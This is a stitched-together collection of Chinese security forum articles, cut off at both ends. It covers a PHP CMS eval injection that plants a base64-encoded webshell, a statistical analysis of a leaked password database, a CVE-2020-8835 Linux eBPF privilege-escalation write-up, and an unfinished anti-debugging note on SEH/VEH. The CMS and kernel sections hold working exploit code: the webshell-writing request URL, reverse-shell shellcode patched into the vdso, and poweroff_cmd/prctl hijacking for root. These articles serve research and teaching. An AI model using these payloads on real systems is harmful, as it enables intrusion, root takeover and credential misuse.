$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
while($rs2 = $db->fetch_array($query2)){
eval("\$rs2[title]=\"$rs2[title]\";");
eval("\$rs2[content]=\"$rs2[content]\";");
$jfDB[$rs[fid]][]=$rs2;
}
}
require(ROOT_PATH."inc/head.php");
require(html("jf"));
require(ROOT_PATH."inc/foot.php");
?>
会查询`qb_jfabout`和`qb_jfsort`两个表内的数据，并且结合后面的eval语句，我们可以在表内插入恶意语句
<?php
$string1 = "sp4c1ous";
$string2 = "BigPowercat";
$str = '$string1 & $string2 are gay';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
注意这个地方，字符串输出在双引号之内，会将其看成为普通的字符串，但是输出在双引号之外的就会当成代码来执行。
那么有人问了，这两个人是谁呢？他俩是不在乎世俗偏见的一对，这就是爱情啊。
那我们如何写入恶意语句呢？其实不用我们写进去，我们在自己的数据库新建自己的两个命名为`qb_jfabout`和`qb_jfsort`的表，在第一个表的`title`和`content`插入语句，然后借助`file_put_contents`
不能只简单地写入，还要记得闭合引号
id | fid | list | title | content
---|---|---|---|---
1 | 1 | 1
| `"+$_GET[a]($_GET[b]);+"` | `"+$_GET[a]($_GET[b]);+"`
id | fid | name | list
---|---|---|---
1 | 1 | 1 | 1
/do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};
就会在当前目录生成我们的shell，蚁剑连接。 | 社区文章 |
# 【技术分享】基于信息片段的大众密码分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[魂淡p](http://bobao.360.cn/member/contribute?uid=78740327)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
一直以来，我认为我们所使用的密码由各个不同的信息间断组合而成，而选用哪些信息、如何组合，这些是需要被认真研究的，目前我还未看到对此有相关的较为严谨的文章，本着尽量严谨的学习态度，我对大众密码进行了一次分析，并在此讲述我的分析过程和结论。
另外，由于该数据并非近期数据，以及当时该网站几乎没有密码策略的原因，分析的结果可能并不适用现下情况。
**0x01 理论准备**
****
在这里，我将使用“密码片段”“弱密码片段”“弱密码行为片段”的概念帮助本文的编写，所谓的 **密码片段**
，指的是在一串密码中，我们所使用的不同的信息片段，如hll19980606，该密码可以分为两个密码片段，一是姓名的缩写hll，二是其出生日期，二者代表了不同的含义。
所谓 **弱密码片段** ，指的是大多数人在进行密码生成的过程中经常使用到的一个字符串片段，比如由a12345 a6633 a6666
这三个密码，我们可以得知，在密码组合的过程中，我们经常使用到a这个片段，则a就是我们所指的弱密码片段。
**弱密码行为片段**
，指的是大众常在密码中使用的信息，例如前面提到的具有特殊意义的日期时间、个人的姓名、身份证、手机号码等不同含义的信息，这些信息所展现出来的密码片段就是我们所说的密码行为片段，而弱密码行为片段即人们在密码中常用的信息。
一般而言，密码片段可以从 **字母、数字、字符**
三个类型的字符串来考虑，因为单一的信息往往采用单一的字符串类型来保存，比如姓名使用字母，生日使用数字，因此当不同类型的字符串交替出现时，其极有可能出现了不同的密码片段，我们可以据此来提取密码片段以进行分析。
另一方面，物以类聚，不同的社区和团体的用户可能在密码的使用方面会有不同的倾向，对不同类型的用户的密码进行分析，也是我们应该考虑的事。
对弱密码片段、弱密码行为片段进行统计分析，有助于我们更方便的猜测不同用户可能使用的密码。
**0x02 数据提取**
出于数据量和数据纯净度的考虑，本次所分析的密码库采用的是网上公开流传的某数据库，数据量经过统计达70w条，由于数据本身为sql文件，其中含有转义字符，自写程序处理起来较为麻烦，因此决定将其导入mysql后再格式化导出所需字段。
导出命令类似：
mysql -uroot -ppass -e "select password from xxx.xxx" >>pass.txt
需要提醒一点的是，使用上述方法导出，第一行是字段名password，另外其中的换行符为CRLF，即”rn”，其实与0x03内的代码不符，因此如需套用下述代码，应先将”rn”处理为”n”。
亦可采用 **select into outfile** 的方式，不再赘述。
**0x03 数据处理**
****
数据量略大，使用图形化编辑器处理容易造成程序假死，这里使用php的cli模式，简单写了几行代码，方便数据的提取。
主要实现的是字符串正则提取和替换，在使用的时候按需求修改正则表达式或选择性注释，代码类似下述，PHP
5.6.27测试通过，可能有少量冗余代码，出现内存用尽的警告时将$leng改小一点即可，或者可以尝试使用类似
**ini_set('memory_limit',128M);** 的代码，将分配给php的内存调大一点。
**用法**
php.exe xxx.php pass.txt
**代码内容**
<?php
$filename = $argv[1];
$r='_'.rand().'.txt';
$leng=1024*1024*30;
$offset=0;
for (;;){
$length=$leng;
//正确提取行内数据，防止一行字符只提取了部分
for (;;){
if (file_get_contents($filename,false,null,$offset+$length,1)==="n" ||filesize($filename)<=$offset+$length) {
break 1;
} else{
$length=$length>=(filesize($filename)-$offset)?filesize($filename)-$offset:$length;
$length--;
if($length===0)
exit("length maybe too short");
}
}
$c=file_get_contents($filename,false,null,$offset,$length);
// // 正则提取，自动分行
// preg_match_all('/([^da-zA-Z]+)/mi', $c, $test);
// foreach ($test[1] as $key => $value) {
// file_put_contents($filename.$r, $value."n",FILE_APPEND);
// }
// $offset+=$length;
// if($offset>filesize($filename))
// break 1;
// //正则替换
$test=preg_replace("/n /mi"," ",$c);
file_put_contents($filename.$r, $test,FILE_APPEND);
$offset+=$length;
if($offset>=filesize($filename))
break 1;
//去除重复空白行
// $test=preg_replace("/(n){2,}/mi","n",$c);
// file_put_contents($filename.$r, $test,FILE_APPEND);
// $offset+=$length;
// if($offset>=filesize($filename))
// break 1;
}
echo $filename.$r;
?>
下述代码是我用于计算词频的，
php.exe count.php pass.txt
**代码内容**
<?php
$filename = $argv[1];
$r_file=$filename.'_'.rand().'.txt';
$f=file($filename);
$f_c=array_count_values($f);
arsort($f_c);
foreach ($f_c as $key => $value) {
file_put_contents($r_file, $value.' '.$key,FILE_APPEND);
}
echo $r_file;
?>
其他代码大同小异，就不提供了，密码片段的提取过程只是一个正则的修改，不再细述。
**0x04弱密码片段统计分析**
经过处理，我们从字符串类型、片段完整度两方面提取了9个文件，如下：
multi.txt_字母提取.txt_C_O.txt_20115.txt
multi.txt_字符提取.txt_C_O.txt_5327.txt
multi.txt_数字提取.txt_C_O.txt_19182.txt
字母提取.txt_C_O.txt_373.txt
字母行.txt_C_O.txt_16123.txt
字符提取.txt_C_O.txt_26830.txt
字符行.txt_C_O.txt_3954.txt
数字提取.txt_C_O.txt_15998.txt
数字行.txt_C_O.txt_5071.txt
xx行指只用作完整密码的片段，multi.txt指不用作完整密码的片段，xx提取指包含以上二者的片段。
下面直接使用excel生成了可视化统计图。
到这里可以看出，该网站的用户在进行组合密码的时候，最常用的片段是123，123456，1，520，.，a，qq等，他们往往以这些片段与其他信息组合。
在不进行组合时，他们更多使用的是例如123456，……，woaini这些片段，和上述片段稍有不同
统一观察的结果基本是前面二者相加，做一个宽泛的概述。
**0x05 字符串类型组合情况**
这里我使用了数据库，方便数据的筛选。
另外，用a代表大小写字母，0代表数字，~代表特殊字符。
提取top20的组合制成统计图，情况如下。
数据结果显示，该批密码数据中，纯数字类型的密码高达60%（可以说是很可怕了）。
**参考代码如下**
<?php
$con = mysqli_connect($mysqlhost, $username, $password, $dbname)
or die('SQL server down');
$arr=file('xxx.txt',FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($arr as $key => $value) {
$t=preg_replace('/[a-zA-Z]+/','a',$value);
$t=preg_replace('/d+/','0',$t);
$t=preg_replace('/[^w]+/','~',$t);
if(!$record[$t]){
$record[$t]=1;
}else{
$record[$t]++;
}
echo $key." 1n";
}
unset($arr);
$n=0;
foreach ($record as $key => $value) {
$n++;
$key=addslashes($key);
mysqli_query(
$con,
"INSERT passtest(string,times) VALUES('{$key}', '{$value}')"
);
echo $n." 2n";
}
mysqli_close($con);
?>
**0x06 弱密码行为片段统计分析**
这里我们是定义了一些行为标准，然后按照标准来匹配的。
但是又不得不说的是，一个片段是否属于行为片段，是比较难通过简单的规则来判断的，因此这里的分析所展现的结果十分有限。比如一个数字是否是和用户相关的QQ账号，是不能简单的看数字的，还需要通过有效的关系库，进行更复杂的分析。
测试代码
<?php
$arr['yyyy']='/(19|20)[0-9]{2}/i';
$arr['yyyymmdd']='/(19|20)[0-9]{2}(0[1-9]{1}|1[0-2]{1})[0-3][0-9]/i';
$arr['mmdd']='/(0[1-9]{1}|1[0-2]{1})[0-3][0-9]/i';
$arr['xxxx']='/((AO|AI|OU)|([ZSC][H])|([qwertypsdfghjklzxcbnm])){2,4}/i';
$arr['x']='/((AO|AI|OU)|([ZSC][H])|([qwertypsdfghjklzxcbnm]))[aoeiuv]{1,2}[ng]{0,2}/i';
$arr['phone']='/1(3|5|7|8)d{9}/i';
$arr['email']='/w+@w+.w+/i';
// $arr['qq']='/[1-9]d{4,9}/i';
$f=file('xxx.txt',FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($f as $key => $value) {
echo $key."n";
foreach ($arr as $key1 => $value1) {
if(preg_match($value1,$value))
if(!$n[$key1])
$n[$key1]=1;
else
$n[$key1]++;
}
}
echo "Now writing...n";
foreach ($n as $key => $value) {
file_put_contents('xxx.new.txt',$key.' '.$value."n",FILE_APPEND);
}
?>
**0x07 修正工作**
其实细心的朋友应该考虑到了，在0x03中采用的是按照字符串类型来分割片段，这是有问题的，比如在处理如q1w2e3，hllsb，20082333，passw0rd这样的字符串，就容易显得心有余而力不足。
因此我在这里也使用了另一种方法来进行词频，无视字符串类型，不过依然不完美，主要的原理就是从所有密码中提取所有连续的m个字符，计算词频，然后提取所有的m-1个字符，计算词频……直到提取所有连续的3个字符，提取词频。
每次提取的连续字符数其实也就是我们说的 **粒度** 或者 **精度**
了，由于粒度本身很难正确控制，而一般而言粒度越小，带来的信息量往往越低，像abcd，不能把四个字母都单独作为片段，字符单独作为片段往往是用于不同类型字符的隔断，例如a123456，[email protected]，而这时候的单个字符，我们使用0x03的方法是可以提取出来的。因此我们应当适度控制最小粒度。
因此，当粒度太小，排行第一的字符容易是一些无意义字符，粒度太大容易过滤掉一些片段，另一方面，由于原理的限制，这种方法提取非常耗计算资源。
在这里，我提取了前1w个密码作为分析。结果如下。
倒不是我刻意处理了字母和字符，而是提取出来的前1w密码的样本分析结果的确如此，其实这也符合0x04 0x05的统计结果。
不过这样的问题也很明显，字符串23456的使用频率和3456、456频率很接近，也就是说，实际上23456是出现最频繁片段，而3456
456脱离23456存在的情况并不多。因此还需要进一步再进行分析。
下面是我使用的代码，在处理大量数据的时候，下列代码就显得力不从心了，甚至容易出现内存不够的现象。
<?php
ini_set('memory_limit', '128M');
$file=$argv[1];
$a=file($file,FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$max=0;
foreach ($a as $key => $value) {
$max=$max>=strlen($value)?$max:strlen($value);
}
// $m=$max;
$m=10;
$n=0;
for (; $m>3 ; ) { //控制最小粒度
foreach ($a as $key1 => $value1) {
if($value1>=$m){
$i=0;
for(;$i+$m<=strlen($value1);){
$c=substr($value1, $i,$m);
if($b[$c]){
$n=0;
$i++;
continue ;
}
foreach ($a as $key2 => $value2) {
if(stripos($value2, $c)){
$n++;
}
}
$b[$c]=$n;
$n=0;
$i++;
}
}
echo $m.' '.$key1."n";
}
$m--;
//echo $m."n";
}
arsort($b);
// print_r($b);
foreach ($b as $key => $value) {
file_put_contents($file.'_new.txt', $value.' '.$key."rn",FILE_APPEND);
}
?>
**0x08 可能更好的解决方案**
****
廉价劳动力：可以使用一个较低的价格，雇人来将这些片段给分割出来，比如hllsb，让他在hll和sb之间加个回车，不过这显然需要一定的财力支撑。
免费劳动力：像是拥有大量用户的互联网公司，就可以玩这种游戏，“验证码1：中国是那一年建国的，验证码2：请将hllshabi分割成几个有意义的片段（如xxwoaini=xx|woaini），通过验证码1来判断2分割正确的概率”。不过如果真的应用的话，并不像我描述的这么简单。
可能略显简单的方法：直接定义一个预设表，预设一些常用的片段。
可能更智能的方案：
思考一下，我们为什么看到q1w2e3，passw0rd的时候会知道这不应该拆分，而看到hllsb，20082333这类却觉得应该拆分？
我认为是熟悉度的原因，qwe和123本身是一个比较眼熟的片段，在q1w2e3中，qwe和123本身间隔的不远，我们很容易从中提取出我们熟悉的这两个片段。
而对于passw0rd，对我们来说password是一个眼熟的片段，二者其实差别不大，可以看到其实只有一个字节被替换成了相近的0，其实就算被替换成了passw@rd，或者替换成其他类似的字符串，我们稍微思考一下也是可以理解它是由password演变而来的。
至于hllsb，20082333，这二者应该算是典型了，前者是因为我们知道sb这个片段，而hll又正好属于声母，h属于百家姓里的姓氏的声母，可以推测出hll为人名，这都是熟悉度的典型代表。同样的，2008匹配了公元纪年法且符合近、现代年份，2333匹配了网络用语。也就是说，熟悉度不仅仅是具体某个字符串，还可能是匹配某种格式。
因此如果要模拟大脑的思路，我们可以建立一个预设表，其中字段可以是：弱密码片段、常用类型、网络用语、英文常见单词、韵母表、百家姓……等等，然后将字符串进行一定的处理，然后与预设表进行匹配，如果可以高度匹配某个值或类型，那么就表示该字符串很可能是一个独立的片段，应该独立看待，如果匹配了多个值和类型，说明该字符串应该进行切割。
对字符串进行的处理主要体现在比如以下几个方面，以上述四个字符串为例：
以上四个都是直接匹配时无法高度匹配的，在这种情况下，应当处理后再次进行匹配。
**q1w2e3**
：对于这种两种类型的字符串交替过于频繁的，单类型字符串的单元太小，太小的单元往往意味着信息量低，因此对于类型交叉频繁的字符串，可以考虑提取单一类型，重新分割为qwe和123两个片段，然后分别查询预设表，如果二者中有一个高度匹配，那么整体就应当作为单一片段看待；
**passw0rd**
：对于这种，其实本身就与password高度匹配，可以直接查询。不过我们知道password本身是有意义的，这种方式可以通过尝试先建立一张替换表，尝试进行字符串替换，将替换的结果带入预设表查询。
**hllsb、20082333**
：可以进行逆向匹配，分析表中是否有某数据匹配了该字符串的一部分，是否又有数据匹配了字符串的剩余一部分，如果未匹配的部分较少，就可以将未匹配的部分丢弃了。
当然这个只是一个设想，实现起来还是有困难的。
**写在最后**
****
任何一个小的点，都可以继续深入下去，使之成为一门学问。
至少我认为，大众密码不仅是有单纯的弱口令问题，虽然目前也有所谓的社会工程学字典，但是字典的生成不该是单纯的信息重组，里面的信息还需要我们认真分析。除了本次的对于大众密码的简单分析，我们往往还需要针对不同群体和不同的个体进行针对性的密码分析，以分析出最接近可能的用户密码。 | 社区文章 |
### 前言
看到两位大佬关于CVE-2020-8835的漏洞分析利用
<https://xz.aliyun.com/t/7690>
<https://www.anquanke.com/post/id/203416>
这两篇文章分别通过修改modprobe_path的值和通过init_pid_ns结构查找cred结构进而修改的方式进行提权,本文对漏洞利用进行新的尝试,通过任意读写漏洞,分别做到劫持vdso提权,
劫持prctl到`__orderly_poweroff`进行提权和根据comm查找cred结构体提权,其完整的代码和漏洞环境在文末给出
### 劫持vdso提权
关于vdso的个人直白理解:一个物理页大小的空间,分别映射在了用户空间和内核空间,如图所示
其结构为elf格式,里边分别有5个系统调用,
vdso所在的页，在内核态是可读、可写的，在用户态是可读、可执行的。我们可以通过这个特点,在内核空间对vdso进行修改,这样用户在用户态调用vdso的函数进行劫持
在用户态下查看用户空间的vdso地址
root@snappyjackPC:~# more /proc/self/maps | grep vdso
7ffe700c4000-7ffe700c5000 r-xp 00000000 00:00 0 [vdso]
而对于vdso在内核空间的位置,我们可以通过特殊字段的识别,如”gettimeofday”字段,首先我们找到该字段对于elf文件的偏移
该程序读取用户空间vdso,并找到相对于gettimeofday的偏移,运行结果如下
/ $ ./dumpmorty
[+]VDSO : 0x7fffc1bc6000
[+]The offset of gettimeofday is : 2f8
在寻找内核空间vdso映射的地址,我们采用爆破的方法,其中vdso所在的位置范围为0xffff880000000000~0xffffc80000000000,并且vdso占用大小为一个完整物理页,我们可以在爆破范围内地址依次增加0x1000,并且加上字符串的偏移0x2f8,与”
gettimeofday”进行对比,从而找到vdso在内核空间的映射
一旦我们确定了vdso地址,我们通过gdb对vdso进行dump`dump memory /home/dumpelf2 0xffffffff822c0000
0xffffffff822c1000`,并通过ida查看其函数地址偏移
通过vdso地址和函数偏移,我们可以很容易得到函数在内核空间的地址.通过劫持gettimeofday函数,将其功能改为一段反弹shell的代码,另一个进程进行接收具有root权限的shell,从而完成提权.
其中shellcode从这里提供
<https://gist.github.com/itsZN/1ab36391d1849f15b785>
该shell代码向地址127.0.0.1:3333进行反弹shell.
将该汇编代码转换为shellcode,通过任意地址的4个字节的修改,添加到我们的程序中,如下
exp_buf[0] = 0x31485390-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*0);//0xffffffff822c0730
exp_buf[0] = 0x0f66b0c0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*1);
exp_buf[0] = 0xdb314805-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*2);
exp_buf[0] = 0x75c33948-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*3);
exp_buf[0] = 0xc031480f-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*4);
exp_buf[0] = 0x050f39b0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*5);
exp_buf[0] = 0x48db3148-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*6);
exp_buf[0] = 0x0974d839-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*7);
exp_buf[0] = 0xc031485b-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*8);
exp_buf[0] = 0x050f60b0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*9);
exp_buf[0] = 0xd23148c3-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*10);
exp_buf[0] = 0x6a5e016a-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*11);
exp_buf[0] = 0x296a5f02-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*12);
exp_buf[0] = 0x48050f58-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*13);
exp_buf[0] = 0xb9485097-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*14);
exp_buf[0] = 0xfaf2fffd-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*15);
exp_buf[0] = 0xfeffff80-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*16);
exp_buf[0] = 0x51d1f748-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*17);
exp_buf[0] = 0x6ae68948-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*18);
exp_buf[0] = 0x2a6a5a10-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*19);
exp_buf[0] = 0x48050f58-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*20);
exp_buf[0] = 0x3948db31-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*21);
exp_buf[0] = 0x480774d8-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*22);
exp_buf[0] = 0xe7b0c031-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*23);
exp_buf[0] = 0x6a90050f-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*24);
exp_buf[0] = 0x216a5e03-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*25);
exp_buf[0] = 0xceff4858-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*26);
exp_buf[0] = 0xf675050f-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*27);
exp_buf[0] = 0x50c03148-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*28);
exp_buf[0] = 0x9dd0bb48-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*29);
exp_buf[0] = 0x8cd09196-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*30);
exp_buf[0] = 0xf748ff97-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*31);
exp_buf[0] = 0x894853d3-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*32);
exp_buf[0] = 0x485750e7-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*33);
exp_buf[0] = 0x3148e689-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*34);
exp_buf[0] = 0x0f3bb0d2-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*35);
exp_buf[0] = 0xc0314805-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*36);
exp_buf[0] = 0x050fe7b0-1;
bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*37);
为了验证是否劫持了用户空间的gettimeofday,我们采用如下程序打印用户空间的vdso中的gettimeofday函数的代码
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>
int main(){
int test;
size_t result=0;
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
printf("[+]VDSO : %p\n",sysinfo_ehdr);
printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
if (sysinfo_ehdr!=0){
for (int i=0x730;i<0x830;i+=1){
printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
}
}
}
其中0x730是gettimeofday函数地址偏移
运行exp前
运行exp之后
我们可以清楚的看到,用户空间调用的gettimeofday已经被我们劫持.而劫持后的代码正是我们在内核空间所修改的.
接下来是最后一步,也是最关键的一步,fork()一个新的子进程,并调用我们劫持的函数,而父进程3333端口进行监听,等待子进程的反弹shell,代码如下:
运行结果如下:
代码及运行环境见:
<https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835/tree/master/vdso>
### 劫持HijackPrctl
除了劫持vdso,我们还可以利用劫持prctl函数使其最终运行到call_usermodehelper,并且自定义参数,达到在内核运行任意命令的目的,做到提权.
##### prctl函数流程分析
根据内核版本找到系统调用prctl的流程如下
我们看到prctl函数的参数原封不动的传到了security_task_prctl中,继续跟进,看到函数运行了`hp->hook.task_prctl`
分析完了prctl,接下来我们在/kernel/reboot.c中查看`__orderly_poweroff`函数
发现该函数的参数只有一个,且为布尔类型.最终运行了run_cmd(),而poweroff_cmd为全局变量
我们可以将`hp->hook`地址指向的值改为orderly_poweroff,将变量,poweroff_cmd改为我们想要执行的命令,这样我们运行prctl()就等同于运行`__orderly_poweroff(any_command)`,而后者具有root权限
我们首先使用gdb或者`more /proc/kallsyms`命令查看函数地址
通过任意地址写,修改变量poweroff_cmd和`hp->hook`地址,然后调用prctl,进行触发.代码如下
expbuf64[0] = 0x81090c90 -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824b2240); // security_task_prctl 改为 orderly_poweroff
expbuf64[0] = 0x6e69622f -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0); //命令改为 chmod 777 /flag
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x4); //命令改为 chmod 777 /flag
expbuf64[0] = 0x3720646f -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x8); //命令改为 chmod 777 /flag
expbuf64[0] = 0x2f203737 -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0xc); //命令改为 chmod 777 /flag
expbuf64[0] = 0x67616c66 -1;
bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x10); //命令改为 chmod 777 /flag
prctl(0,0); //调用劫持的prctl,相当于运行__orderly_poweroff(bool force),而全局变量poweroff_cmd = 'chmod 777 /flag'
再次使用gdb下断,查看$rb0x18,发现地址已经修改为orderly_poweroff
同时查看全局变量,已经修改为我们想要的结果
此时查看flag读写权限,发现该文件的权限已通过root权限进行了修改
至此提权效果演示完毕,完整的代码和运行环境见
<https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835/tree/master/hijack_prctl>
### 根据comm查找cred结构
相对于前两种”曲线”式的提权,查找cred结构进行提权显得比较直观,其原理就是在内核空间查找特定进程的cred结构体,
首先我们对comm字段进行设置
char target[16];
strcpy(target,"aaaaaaaa");
prctl(PR_SET_NAME,target); //通过prctl设置字符串为aaaaaaaa
通过爆破0xffff880000000000~0xffffc80000000000的地址,查找该字段,从而确定该线程的cred结构体,再利用任意地址读写,修改cred结构体,进行权限的提升.
我这里将代码稍作修改,查看comm字符串是否改变
uint64_t task_struct, cred, current_task, comm;
uint64_t per_cpu_offset = read_8byte(0xffffffff822c26c0);
printf("per_cpu_offset: 0x%lx\n", per_cpu_offset);
for(int i = 0; ; i++){
current_task = read_8byte(per_cpu_offset + 0x17d00);
comm = read_8byte(current_task + 0x648);
if(comm == 0x6161616161616161){ //通过prctl设置的字符串判断位置
printf("current_task: 0x%lx\n", current_task);
task_struct = current_task;
printf("[+] comm: 0x%lx\n", comm); // get comm to check
hextostr(comm);
break;
}
}
运行代码,发现comm地址已经成功被我们改写,之后再通过偏移找到cred结构,将其修改进行权限提升
##### 不成熟的小技巧
这里出现了一个问题,就是在任意地址读函数最终是执行bpf_map_get_info_by_fd()进行任意地址读取
而爆破的过程中势必会运行到内核地址未分配的情况,每当程序运行到这里,就会造成’unable to handle page
fault’,引起内核crash.程序无法继续.这里有一个小技巧:
我们qemu中的程序由于内核crash无法运行,但是这对于宿主机却并不影响,我们可以使用gdb脚本的方式,将爆破的工作交给gdb,gdb将输出的结果进行保存,待我们将保存的结果分析,得出一个更加精准的目标范围时,修改程序爆破范围,避免其出现crash的情况.这里我们以爆破vdso地址为例:
首先将脚本保存在一个文件中
root@snappyjackPC:/home/cve-repo/0x04-pwn2own-ebpf-jmp32-cve-2020-8835# more bbb
target remote :1234
x/s 0xffffffff80001000
x/s 0xffffffff80002000
x/s 0xffffffff80003000
x/s 0xffffffff80004000
x/s 0xffffffff80005000
…
…
…
x/s 0xffffffffffffb000
x/s 0xffffffffffffc000
x/s 0xffffffffffffd000
x/s 0xffffffffffffe000
x/s 0xfffffffffffff000
将结果保存
gdb --batch --command=bbb > 8835_dump.txt
搜索ELF字段(vdso整页映射,具有elf结构)
根据搜索的结果便可缩小我们要爆破的范围,防止程序crash
代码及运行环境:
<https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835>
### 参考文章
<https://xz.aliyun.com/t/7690>
<https://www.anquanke.com/post/id/203416>
<http://p4nda.top/2018/11/07/stringipc/#cred%E7%BB%93%E6%9E%84%E4%BD%93>
<https://xz.aliyun.com/t/6296>
<https://www.jianshu.com/p/a2259cd3e79e>
其中关于ebpf模块的详细讲解:
[https://www.bilibili.com/video/BV1Bt411S7tg?from=search&seid=16841983597864343370](https://www.bilibili.com/video/BV1Bt411S7tg?from=search&seid=16841983597864343370) | 社区文章 |
# 如何绕过SEH检查
没有通用的方法来绕过SEH检查，但还是有一些小技巧节省逆向工程人员的工作量，让我们看看导致SEH处理程序调用的调用堆栈：
0:000> kn
# ChildEBP RetAddr
00 0059f06c 775100b1 AntiDebug!ExceptionRoutine
01 0059f090 77510083 ntdll!ExecuteHandler2+0x26
02 0059f158 775107ff ntdll!ExecuteHandler+0x24
03 0059f158 003b11a5 ntdll!KiUserExceptionDispatcher+0xf
04 0059fa90 003d7f4e AntiDebug!main+0xb5
05 0059faa4 003d7d9a AntiDebug!invoke_main+0x1e
06 0059fafc 003d7c2d AntiDebug!__scrt_common_main_seh+0x15a
07 0059fb04 003d7f68 AntiDebug!__scrt_common_main+0xd
08 0059fb0c 753e7c04 AntiDebug!mainCRTStartup+0x8
09 0059fb20 7752ad1f KERNEL32!BaseThreadInitThunk+0x24
0a 0059fb68 7752acea ntdll!__RtlUserThreadStart+0x2f
0b 0059fb78 00000000 ntdll!_RtlUserThreadStart+0x1b
可以看到该调用来自于ntdll!ExecuteHandler2。此函数是调用任何SEH处理程序的起点。可以在调用指令中设置断点：
0:000> u ntdll!ExecuteHandler2+24 L3
ntdll!ExecuteHandler2+0x24:
775100af ffd1 call ecx
775100b1 648b2500000000 mov esp,dword ptr fs:[0]
775100b8 648f0500000000 pop dword ptr fs:[0]
0:000> bp 775100af
设置断点后，应该分析每个调用SEH处理程序的代码。如果涉及到对SEH处理函数的多次调用，则很难进行下一步反调试工作了。
# VEH（向量化异常处理）
Veh是在WindowsXP中引入的，是SEH的变体。Veh和SEH不是相互依赖的，他们两个是可以同时工作的。添加新的VEH处理程序时，SEH链不会受到影响，因为VEH处理程序列表存储在`ntdll!LdrpVectorHandlerList`未导出变量中。VEH和SEH机制非常相似，唯一的区别是公开的函数用于设置和删除VEH处理程序。添加和删除VEH处理程序以及VEH处理函数的原函数签名如下：
PVOID WINAPI AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
ULONG WINAPI RemoveVectoredExceptionHandler(
PVOID Handler
);
LONG CALLBACK VectoredHandler(
